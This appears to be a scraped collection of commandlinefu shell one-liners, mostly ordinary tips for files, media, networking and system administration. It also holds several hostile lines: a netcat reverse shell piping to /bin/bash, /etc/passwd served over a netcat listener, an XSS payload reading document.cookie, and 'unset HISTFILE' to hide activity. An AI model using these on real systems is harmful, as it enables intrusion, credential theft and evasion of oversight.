d="www.dafont.com/alpha.php?";for c in {a..z}; do l=`curl -s "${d}lettre=${c}"|sed -n 's/.*ge=\([0-9]\{2\}\).*/\1/p'`;for((p=1;p<=l;p++));do for u in `curl -s "${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";done;done;done
# Delete DOS Characters via VIM (^M)
:set ff=unix
# Send data securly over the net.
cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080
# Tail -f at your own pace
tail -fs 1 somefile
# Optimal way of deleting huge numbers of files
find /path/to/dir -type f -print0 | xargs -0 rm
# display an embeded help message from bash script  header
[ "$1" == "--help" ] && { sed -n -e '/^# Usage:/,/^$/ s/^# \?//p' < $0; exit; }
# pretend to be busy in office to enjoy a cup of coffee
for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done
# Capitalize first letter of each word in a string
read -ra words <<< "<sentence>" && echo "${words[@]^}"
# Search for a single file and go to it
cd $(dirname $(find ~ -name emails.txt))
# cycle through a 256 colour palette
yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
# extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
# Rename HTML files according to their title tag
perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html
# Launch a command from a manpage
!date
# command line calculator
calc(){ awk "BEGIN{ print $* }" ;}
# Plays Music from SomaFM
read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls
# Find unused IPs on a given subnet
nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
# See your current RAM frequency
dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'
# Create a 5 MB blank file via a seek hole
dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1
# Command Line to Get the Stock Quote via Yahoo
curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
# Delete all files found in directory A from directory B
for file in <directory A>/*; do rm <directory B>/`basename $file`; done
# Compare a remote file with a local file
vimdiff <file> scp://[<user>@]<host>/<file>
# Search commandlinefu from the CLI
curl -sd q=Network http://www.commandlinefu.com/search/autocomplete |html2text -width 100
# Insert  the  last  argument  of  the previous command
!$
# convert a web page into a png
touch $2;firefox -print $1 -printmode PNG -printfile $2
# create a temporary file in a command line call
any_script.sh < <(some command)
# Binary clock
perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep 1}'
# Outgoing IP of server
dig +short @resolver1.opendns.com myip.opendns.com
# Send email with curl and gmail
curl -n --ssl-reqd --mail-from "<[email protected]>" --mail-rcpt "<[email protected]>" --url smtps://smtp.gmail.com:465 -T file.txt
# Create several copies of a file
for i in {1..5}; do cp test{,$i};done
# Terrorist threat level text
echo "Terrorist threat level: `od -An -N1 -i /dev/random`"
# Use xdg-open to avoid hard coding browser commands
xdg-open http://gmail.com
# Send email with one or more binary attachments
echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz [email protected]
# Extended man command
/usr/bin/man $* || w3m -dump http://google.com/search?q="$*"\&btnI | less
# back ssh from firewalled hosts
ssh -R 5497:127.0.0.1:22 -p 62220 [email protected]
# add the result of a command into vi
!!command
# is today the end of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
# Copy with progress
rsync --progress file1 file2
# Grep without having it show its own process in the results
ps aux | grep "[s]ome_text"
# Get your mac to talk to you
say -v Vicki "Hi, I'm a mac"
# Better way to use notify-send with at or cron
DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test
# Display last exit status of a command
echo $?
# Create a Multi-Part Archive Without Proprietary Junkware
tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.
# print file without duplicated lines using awk
awk '!a[$0]++' file
# execute a shell with netcat without -e
mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe
# bash shortcut: !$ !^ !* !:3 !:h and !:t
echo foo bar foobar barfoo && echo !$ !^  !:3 !* &&  echo /usr/bin/foobar&& echo !$:h !$:t
# generate random password
pwgen -Bs 10 1
# Quick HTML image gallery from folder contents
find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html
# move a lot of files over ssh
tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'
# Download schedule
echo 'wget url' | at 12:00
# Start a HTTP server which serves Python docs
pydoc -p 8888 & gnome-open http://localhost:8888
# pretend to be busy in office to enjoy a cup of coffee
j=0;while true; do let j=$j+1; for i in $(seq 0 20 100); do echo $i;sleep 1; done | dialog --gauge "Install part $j : `sed $(perl -e "print int rand(99999)")"q;d" /usr/share/dict/words`" 6 40;done
# [re]verify a disc with very friendly output
dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5
# alt + 1 .
alt + 1 .
# Save the Top 2500 commands from commandlinefu to a single text file
# grep tab chars
grep "^V<TAB>" your_file
# List bash functions defined in .bash_profile or .bashrc
compgen -A function
# Replace spaces in filenames with underscores
for f in *;do mv "$f" "${f// /_}";done
# kill process by name
pkill -x firefox
# Alias for getting OpenPGP keys for Launchpad PPAs on Ubuntu
alias launchpadkey="sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys"
# Down for everyone or just me?
down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!d;s/<[^>]*>//g' ; }
# Google Translate
translate() { lng1="$1";lng2="$2";shift;shift; wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=${@// /+}&langpair=$lng1|$lng2" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
# Convert the contents of a directory listing into a colon-separated environment
 variablefind . -name '*.jar' -printf '%f:'
# Backup files older than 1 day on /home/dir, gzip them, moving old file to a da
ted file.find /home/dir -mtime +1 -print -exec gzip -9 {} \; -exec mv {}.gz {}_`date +%F`.gz \;
# Tells which group you DON'T belong to (opposite of command "groups") --- uses 
sedsed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'
# Get video information with ffmpeg
ffmpeg -i filename.flv
# Download file with multiple simultaneous connections
aria2c -s 4 http://my/url
# List your largest installed packages.
wajig large
# Escape potential tarbombs
atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf $1 -C ${1%.tar.gz}; fi ;}
# How to run a command on a list of remote servers read from a file
while read server; do ssh -n user@$server "command"; done < servers.txt
# Open Remote Desktop (RDP) from command line and connect local resources
rdesktop -a24 -uAdministrator -pPassword  -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ &
# send DD a signal to print its progress
while :;do killall -USR1 dd;sleep 1;done
# Follow tail by name (fix for rolling logs with tail -f)
tail -F file
# Change proccess affinity.
taskset -cp <core> <pid>
# Split File in parts
split -b 19m file Nameforpart
# Ping scanning without nmap
for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done
# Open a man page as a PDF in Gnome
TF=`mktemp` && man -t YOUR_COMMAND >> $TF && gnome-open $TF
# Remove all unused kernels with apt-get
aptitude remove $(dpkg -l|egrep '^ii  linux-(im|he)'|awk '{print $2}'|grep -v `uname -r`)
# Use Kernighan & Ritchie coding style in C program
indent -kr hello.c
# Re-read partition table on specified device without rebooting system (here /de
v/sda).blockdev --rereadpt /dev/sda
# disable history for current shell session
unset HISTFILE
# convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk forma
t)VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw
# Numeric zero padding file rename
rename 's/\d+/sprintf("%04d",$&)/e' *.jpg
# Measures download speed on eth0
while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done
# Concatenate (join) video files
mencoder -forceidx -ovc copy -oac copy -o output.avi video1.avi video2.avi
# Wrap text files on the command-line for easy reading
fold -s <filename>
# Find distro name and/or version/release
cat /etc/*-release
# ssh autocomplete
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh
# all out
pkill -KILL -u username
# bash screensaver off
setterm -powersave off -blank 0
# Show Directories in the PATH Which does NOT Exist
(IFS=:;for p in $PATH; do test -d $p || echo $p; done)
# An easter egg built into python to give you the Zen of Python
python -c 'import this'
# Log your internet download speed
echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
# exclude a column with awk
awk '{ $5=""; print }' file
# Convert text to lowercase
lower() { echo ${@,,}; }
# Generate a Random MAC address
openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/.$//'
# Find the process you are looking for minus the grepped one
pgrep command_name
# Check which files are opened by Firefox then sort by largest size.
lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -- "$9 | "sort -rn" }'
# Create an animated gif from a Youtube video
url=http://www.youtube.com/watch?v=V5bYDhZBFLA; youtube-dl -b $url; mplayer $(ls ${url##*=}*| tail -n1) -ss 00:57 -endpos 10 -vo gif89a:fps=5:output=output.gif -vf scale=400:300 -nosound
# Create a new file
> file
# Amazing real time picture of the sun in your wallpaper
curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin
# Screensaver
alias screensaver='for ((;;)); do echo -ne "\033[$((1+RANDOM%LINES));$((1+RANDOM%COLUMNS))H\033[$((RANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done'
# When was your OS installed?
ls -lct /etc | tail -1 | awk '{print $6, $7}'
# Generate MD5 hash for a string
md5sum <<<"test"
# Multiple variable assignments from command output in BASH
read day month year < <(date +'%d %m %y')
# Show which programs are listening on TCP and UDP ports
netstat -plunt
# use screen as a terminal emulator to connect to serial consoles
screen /dev/tty<device> 9600
# rename files according to file with colums of corresponding names
xargs -n 2 mv < file_with_colums_of_names
# Remote control for Rhythmbox on an Ubuntu Media PC
alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox-client --no-start'
# uncomment the lines where the word DEBUG is found
sed '/^#.*DEBUG.*/ s/^#//' $FILE
# vim easter egg
$ vim ... :help 42
# Isolate file name from full path/find output
echo ${fullpath##*/}
# Countdown Clock
MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e "\n\nBOOOM! Time to start."
# Rot13 using the tr command
alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'"
# Check availability of Websites based on HTTP_CODE
urls=('www.ubuntu.com' 'google.com'); for i in ${urls[@]}; do http_code=$(curl -I -s $i -w %{http_code}); echo $i status: ${http_code:9:3}; done
# Bash logger
script /tmp/log.txt
# Convert filenames from ISO-8859-1 to UTF-8
convmv -r -f ISO-8859-1 -t UTF-8 --notest *
# Backup files incremental with rsync to a NTFS-Partition
rsync -rtvu --modify-window=1 --progress /media/SOURCE/ /media/TARGET/
# copy with progress bar - rsync
rsync -rv <src> <dst> --progress
# List your MACs address
cat /sys/class/net/eth0/address
# List and delete files older than one year
find <directory path> -mtime +365 -and -not -type d -delete
# comment current line(put # at the beginning)
<Alt-Shift-#>
# Use /dev/full to test language I/O-failsafety
perl -e 'print 1, 2, 3' > /dev/full
# Get the 10 biggest files/folders for the current direcotry
du -sk * |sort -rn |head
# Recover remote tar backup with ssh
ssh user@host "cat /path/to/backup/backupfile.tar.bz2" |tar jpxf -
# List only the directories
find . -maxdepth 1 -type d | sort
# JSON processing with Python
curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R
# lotto generator
echo $(shuf -i 1-49 | head -n6 | sort -n)
# To get you started!
vimtutor
# mp3 streaming
nc -l -p 2000 < song.mp3
# alias to close terminal with :q
alias ':q'='exit'
# Backup all MySQL Databases to individual files
for I in `echo "show databases;" | mysql | grep -v Database`; do    mysqldump $I > "$I.sql"; done
# Quick screenshot
import -pause 5 -window root desktop_screenshot.jpg
# Print a row of 50 hyphens
python -c 'print "-"*50'
# New files from parts of current buffer
:n,m w newfile.txt
# awk using multiple field separators
awk -F "=| "
# Password Generation
pwgen --alt-phonics --capitalize 9 10
# Block an IP address from connecting to a server
iptables -A INPUT -s 222.35.138.25/32 -j DROP
# scp file from hostb to hostc while logged into hosta
scp user@hostb:file user@hostc:
# Add temporary swap space
dd if=/dev/zero of=/swapfile bs=1M count=64; chmod 600 /swapfile; mkswap /swapfile; swapon /swapfile
# loop over a set of items that contain spaces
ls | while read ITEM; do echo "$ITEM"; done
# Quickly find a count of how many times invalid users have attempted to access 
your systemgunzip -c /var/log/auth.log.*.gz | cat - /var/log/auth.log /var/log/auth.log.0 | grep "Invalid user" | awk '{print $8;}' | sort | uniq -c | less
# Find corrupted jpeg image files
find . -name "*jpg" -exec jpeginfo -c {} \; | grep -E "WARNING|ERROR"
# Export MySQL query as .csv file
echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv
# Create/open/use encrypted directory
encfs ~/.crypt ~/crypt
# Function to split a string into an array
read -a ARR <<<'world domination now!'; echo ${ARR[2]};
# IFS - use entire lines in your for cycles
export IFS=$(echo -e "\n")
# log a command to console and to 2 files separately stdout and stderr
command > >(tee stdout.log) 2> >(tee stderr.log >&2)
# Rotate a set of photos matching their EXIF data.
jhead -autorot *.jpg
# save  date and time for each command in history
export HISTTIMEFORMAT="%h/%d-%H:%M:%S "
# output length of longest line
awk '(length > n) {n = length} END {print n}'
# run remote linux desktop
xterm -display :12.0 -e ssh -X user@server &
# Salvage a borked terminal
<ctrl+j>stty sane<ctrl+j>
# Optimize PDF documents
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
# Outputs files with ascii art in the intended form.
iconv -f437 -tutf8 asciiart.nfo
# connect via ssh using mac address
ssh root@`for ((i=100; i<=110; i++));do arp -a 192.168.1.$i; done | grep 00:35:cf:56:b2:2g | awk '{print $2}' | sed -e 's/(//' -e 's/)//'`
# intercept stdout/stderr of another process
strace -ff -e write=1,2 -s 1024 -p PID  2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p
# Smart `cd`.. cd to the file directory if you try to cd to a file
cd() { if [ -z "$1" ]; then command cd; else if [ -f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; }
# Sort a one-per-line list of email address, weeding out duplicates
sed 's/[ \t]*$//' < emails.txt | tr 'A-Z' 'a-z' | sort | uniq > emails_sorted.txt
# Display GCC Predefined Macros
gcc -dM -E - < /dev/null
# Run a command when a file is changed
while inotifywait -e modify /tmp/myfile; do firefox; done
# Adding leading zeros to a filename (1.jpg -> 001.jpg)
zmv '(<1->).jpg' '${(l:3::0:)1}.jpg'
# Get your external IP address
curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'
# Speak the top 6 lines of your twitter timeline every 5 minutes.....
while [ 1 ]; do curl -s -u username:password  http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done
# Grep Recursively Through Single File Extension
grep --include=*.py -lir "delete" .
# backup with mysqldump a really big mysql database to a remote machine over ssh
mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot -pmysqlpassword dbname | ssh -C user@sshserver 'cd /path/to/backup/dir; cat > dbname.sql'
# Create a tar archive using 7z compression
tar cf - /path/to/data | 7z a -si archivename.tar.7z
# Backup (archive) your Gmail IMAP folders.
mailutil transfer {imap.gmail.com/ssl/[email protected]} Gmail/
# Determine what an process is actually doing
sudo strace -pXXXX -e trace=file
# Easily scp a file back to the host you're connecting from
mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
# Make vim open in tabs by default (save to .profile)
alias vim="vim -p"
# LDAP search to query an ActiveDirectory server
ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'
# let a cow tell you your fortune
fortune | cowsay
# Select and Edit a File in the Current Directory
PS3="Enter a number: "; select f in *;do $EDITOR $f; break; done
# Setting global redirection of STDERR to STDOUT in a script
exec 2>&1
# Stripping ^M at end of each line for files
dos2unix <filenames>
# Smart renaming
mmv 'banana_*_*.asc' 'banana_#2_#1.asc'
# external projector for presentations
xrandr --auto
# seq can produce the same thing as Perl's ... operator.
for i in $(seq 1 50) ; do echo Iteration $i ; done
# FAST Search and Replace for Strings in all Files in Directory
sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF'
# Save your terminal commands in bash history in real time
shopt -s histappend ; PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
# Processes by CPU usage
ps -e -o pcpu,cpu,nice,state,cputime,args --sort pcpu | sed "/^ 0.0 /d"
# Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or whatever)
tcs -f 8859-1 -t utf /some/file
# view hex mode in vim
:%!xxd
# Delete backward from cursor, useful when you enter the wrong password
Ctrl + u
# Find out the starting directory of a script
echo "${0%/*}"
# count how many times a string appears in a (source code) tree
$ grep -or string path/ | wc -l
# send a message to a windows machine in a popup
echo "message" | smbclient -M NAME_OF_THE_COMPUTER
# fast access to any of your favorite directory.
alias pi='`cat ~/.pi | grep ' ; alias addpi='echo "cd `pwd`" >> ~/.pi'
# connect via ssh using mac address
sudo arp -s 192.168.1.200  00:35:cf:56:b2:2g temp && ssh [email protected]
# Get the time from NIST.GOV
cat </dev/tcp/time.nist.gov/13
# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;
# Figure out what shell you're running
readlink -f /proc/$$/exe
# Sort file greater than a specified size  in human readeable format including t
heir path and typed by color, running from current directoryfind ./ -size +10M -type f -print0 | xargs -0 ls -Ssh1 --color
# Execute a command, convert output to .png file, upload file to imgur.com, then
 returning the address of the .png.imgur(){ $*|convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";}
# Poke a Webserver to see what it's powered by.
wget -S -O/dev/null "INSERT_URL_HERE" 2>&1 | grep Server
# Disable annoying sound emanations from the PC speaker
sudo rmmod pcspkr
# Execute most recent command containing search string.
!?<string>?
# silent/shh - shorthand to make commands really quiet
silent(){ $@ > /dev/null 2>&1; }; alias shh=silent
# Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i <filename>.flv -vn <filename>.mp3
# Clean swap area after using a memory hogging application
swapoff -a ; swapon -a
# Using bash inline "here document" with three less-than symbols on command line
<<<"k=1024; m=k*k; g=k*m; g" bc
# Check a nfs mountpoint and force a remount if it does not reply after a given 
timeout.NFSPATH=/mountpoint TIMEOUT=5; perl -e "alarm $TIMEOUT; exec @ARGV" "test -d $NFSPATH" || (umount -fl $NFSPATH; mount $NFSPATH)
# Show which process is blocking umount (Device or resource is busy)
lsof /folder
# Move items from subdirectories to current directory
find -type f -exec mv {} . \;
# currently mounted filesystems in nice layout
column -t /proc/mounts
# cat a file backwards
tac file.txt
# Keep from having to adjust your volume constantly
find . -iname \*.mp3 -print0 | xargs -0 mp3gain -krd 6 && vorbisgain -rfs .
# grab all commandlinefu shell functions into a single file, suitable for sourci
ng.export QQ=$(mktemp -d);(cd $QQ; curl -s -O http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25];for i in $(perl -ne 'print "$1\n" if( /^(\w+\(\))/ )' *|sort -u);do grep -h -m1 -B1 $i *; done)|grep -v '^--' > clf.sh;rm -r $QQ
# Copy file content to X clipboard
:%y *
# back up your commandlinefu contributed commands
curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
# make a log of a terminal session
script
# Get your outgoing IP address
curl -s ip.appspot.com
# Redirect incoming traffic to SSH, from a port of your choosing
iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22
# Using tput to save, clear and restore the terminal contents
tput smcup; echo "Doing some things..."; sleep 2; tput rmcup
# easily find megabyte eating files or directories
du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done
# Wget Command to Download Full Recursive Version of Web Page
wget -p --convert-links http://www.foo.com
# List only directory names
ls -d */
# Monitor a file's size
watch -n60 du /var/log/messages
# Get notified when a job you run in a terminal is done, using NotifyOSD
alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"'
# Get a quick list of all user and group owners of files and dirs under the cwd.
find -printf '%u %g\n' | sort | uniq
# printing barcodes
ls /home | head -64 | barcode -t 4x16 | lpr
# securely erase unused blocks in a partition
# cd $partition; dd if=/dev/zero of=ShredUnusedBlocks bs=512M; shred -vzu ShredU
nusedBlocks
# synchronicity
cal 09 1752
# watch process stack, sampled at 1s intervals
watch -n 1 'pstack 12345 | tac'
# Perl Command Line Interpreter
perl -e 'while(1){print"> ";eval<>}'
# Remove lines that contain a specific pattern($1) from file($2).
sed -i '/myexpression/d' /path/to/file.txt
# resize all JPG images in folder and create new images (w/o overwriting)
for file in *.jpg; do convert "$file" -resize 800000@ -quality 80 "small.$file"; done
# Display a wave pattern
ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29*(Math.cos(i)/2+1)); i+=0.1}"
# Convert images to a multi-page pdf
convert -adjoin -page A4 *.jpeg multipage.pdf
# Delay execution until load average falls under 1.5
echo 'some command' | batch
# Get the canonical, absolute path given a relative and/or noncanonical path
readlink -f ../super/symlink_bon/ahoy
# Go (cd) directly into a new temp folder
cd "$(mktemp -d)"
# Use wget to download one page and all it's requisites for offline viewing
wget -e robots=off -E -H -k -K -p http://<page>
# Temporarily ignore known SSH hosts
ssh -o UserKnownHostsFile=/dev/null [email protected]
# See The MAN page for the last command
man !!:0
# Search command history on bash
ctrl + r
# find builtin in bash v4+
ls -l /etc/**/*killall
# Copy a folder tree through ssh using compression (no temporary files)
ssh <host> 'tar -cz /<folder>/<subfolder>' | tar -xvz
# Edit video by cutting the part you like without transcoding.
mencoder -ss <start point> -endpos <time from start point> -oac copy -ovc copy <invid> -o <outvid>
# Set an alarm to wake up [2]
echo "aplay path/to/song" |at [time]
# Check disk for bad sectors
badblocks -n -s /dev/sdX
# Make redirects to localhost via /etc/hosts more interesting
sudo socat TCP4-LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service Unavailable";'
# Chmod all directories (excluding files)
find public_html/ -type d -exec chmod 755 {} +
# Create cheap and easy index.html file
for i in *; do echo "<li><a href='$i'>$i</a>";  done > index.html
# One command line web server on port 80 using nc (netcat)
while true ; do nc -l 80  < index.html ; done
# Emptying a text file in one shot
:%d
# Extend a logical volume to use up all the free space in a volume group
lvextend -l +100%FREE /dev/VolGroup00/LogVol00
# Re-use the previous command output
newcommand $(!!)
# List complete size of directories (do not consider hidden directories)
du -hs */
# Connect via SSH to VirtualBox guest VM without knowing IP address
ssh vm-user@`VBoxManage guestproperty get "vm-name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'`
# Open the last file you edited in Vim.
alias lvim="vim -c \"normal '0\""
# Search back through previous commands
Ctrl-R <search-text>
# Remove everything except that file
find . ! -name <FILENAME> -delete
# print indepth hardware info
sudo dmidecode | more
# Add forgotten changes to the last git commit
git commit --amend
# Join lines split with backslash at the end
sed -e '/\\$/{:0;N;s/\\\n//;t0}'
# Change your swappiness Ratio under linux
sysctl vm.swappiness=50
# Show webcam output
mplayer tv:// -tv driver=v4l:width=352:height=288
# Get your commandlinefu points (upvotes - downvotes)
username=matthewbauer; curl -s http://www.commandlinefu.com/commands/by/$username/json | tr '{' '\n' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr '\n' '+' | sed 's/+$/\n/' | bc
# List your installed Firefox extensions
grep -hIr :name ~/.mozilla/firefox/*.default/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u
# Tricky implementation of two-dimensional array in Bash.
arr[i*100+j]="whatever"
# Quick way to sum every numbers in a file written line by line
(sed 's/^/x+=/' [yourfile] ; echo x) | bc
# put all lines in comment where de word DEBUG is found
sed -i 's/^.*DEBUG.*/#&/'  $file
# Gets the english pronunciation of a phrase
say() { mplayer "http://translate.google.com/translate_tts?q=$1"; }
# Extract a bash function
sed -n '/^function h\(\)/,/^}/p' script.sh
# Change the From: address on the fly for email sent from the command-line
mail -s "subject" [email protected] <emailbody.txt  -- -f [email protected] -F 'From Display Name'
# Use mplayer to save video streams to a file
mplayer -dumpstream -dumpfile "yourfile" -playlist "URL"
# Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
# exit if another instance is running
pidof -x -o $$ ${0##*/} && exit
# Determine what version of bind is running on a dns server.
dig -t txt -c chaos VERSION.BIND @<dns.server.com>
# Get the size of all the directories in current directory (Sorted Human Readabl
e)sudo du -ks $(ls -d */) | sort -nr | cut -f2 | xargs -d '\n' du -sh 2> /dev/null
# permanently let grep colorize its output
echo alias grep=\'grep --color=auto\' >> ~/.bashrc ; . ~/.bashrc
# backs up at the date today
cp -i FILENAME{,.`date +%Y%m%d`}
# how many packages installed on your archlinux?
pacman -Q|wc -l
# Create a mirror of a local folder, on a remote server
rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/
# Find Malware in the current and sub directories by MD5 hashes
IFS=$'\n' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed -r 's/^[^ ]+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done
# The NMAP command you can use scan for the Conficker virus on your LAN
nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 192.168.0.1-254
# mirrors directory to a ftp server
lftp -ulogin,passwd -e "mirror --reverse /my/from/dir/ /ftp/target/dir/" ftp.server.xx
# burn an ISO image to writable CD
wodim cdimage.iso
# Connect to SMTP server using STARTTLS
openssl s_client -starttls smtp -crlf -connect 127.0.0.1:25
# Check RAM size
free -mto
# Get contents from hosts, passwd, groups even if they're in DB/LDAP/other
getent [group|hosts|networks|passwd|protocols|services] [keyword]
# Convert mysql database from latin1 to utf8
mysqldump --add-drop-table -uroot -p "DB_name"  | replace CHARSET=latin1 CHARSET=utf8 | iconv -f latin1 -t utf8 | mysql -uroot -p "DB_name"
# Mount a Windows share on the local network (Ubuntu) with user rights and use a
 specific samba usersudo mount -t cifs -o user,username="samba username" //$ip_or_host/$sharename /mnt
# Quick network status of machine
netstat -tn | awk 'NR>2 {print $6}' | sort | uniq -c | sort -rn
# cpu stress test
taskset  0x00000001 yes > /dev/null &
# network throughput test
iperf -s
# Shows size of dirs and files, hidden or not, sorted.
du -cs * .[^\.]* | sort -n
# Copy a directory recursively without data/files
find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;
# Most Commonly Used Grep Options
GREP_OPTIONS='-D skip --binary-files=without-match --ignore-case'
# output length of longest line
wc -L
# clean up memory on linux
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# du disk top 10
for i in `du --max-depth=1 $HOME | sort -n -r | awk '{print $1 ":" $2}'`; do size=`echo $i | awk -F: '{print $1}'`; dir=`echo $i | awk -F: '{print $NF}'`; size2=$(($size/1024)); echo "$size2 MB used by $dir"; done | head -n 10
# Attempt an XSS exploit on commandlinefu.com
perl -pi -e 's/<a href="#" onmouseover="console.log('xss! '+document.cookie)" style="position:absolute;height:0;width:0;background:transparent;font-weight:normal;">xss</a>/<\/a>/g'
# Finding files with different extensions
find . -regex '.*\(h\|cpp\)'
# Shell function to exit script with error in exit status and print optional mes
sage to stderrdie(){ result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}
# Binary difference of two files
bsdiff <oldfile> <newfile> <patchfile>
# List all symbolic links in current directory
find /path -type l
# dstat - a mix of vmstat, iostat, netstat, ps, sar...
dstat -ta
# Join lines
cat file | tr "\n" " "
# top 10 commands used
sed -e 's/ *$//' ~/.bash_history | sort | uniq -cd | sort -nr | head
# ls not pattern
ls -I "*.gz"
# Stream audio over ssh
sox Klaxon.mp3 -t wav - |ssh [email protected] paplay
# Check the age of the filesystem
df / | awk '{print $1}' | grep dev | xargs tune2fs -l | grep create
# Start dd and show progress every X seconds
dd if=/path/inputfile | pv | dd of=/path/outpufile
# Force machine to reboot no matter what (even if /sbin/shutdown is hanging)
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
# Do some learning...
for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more
# Display the output of a command from the first line until the first instance o
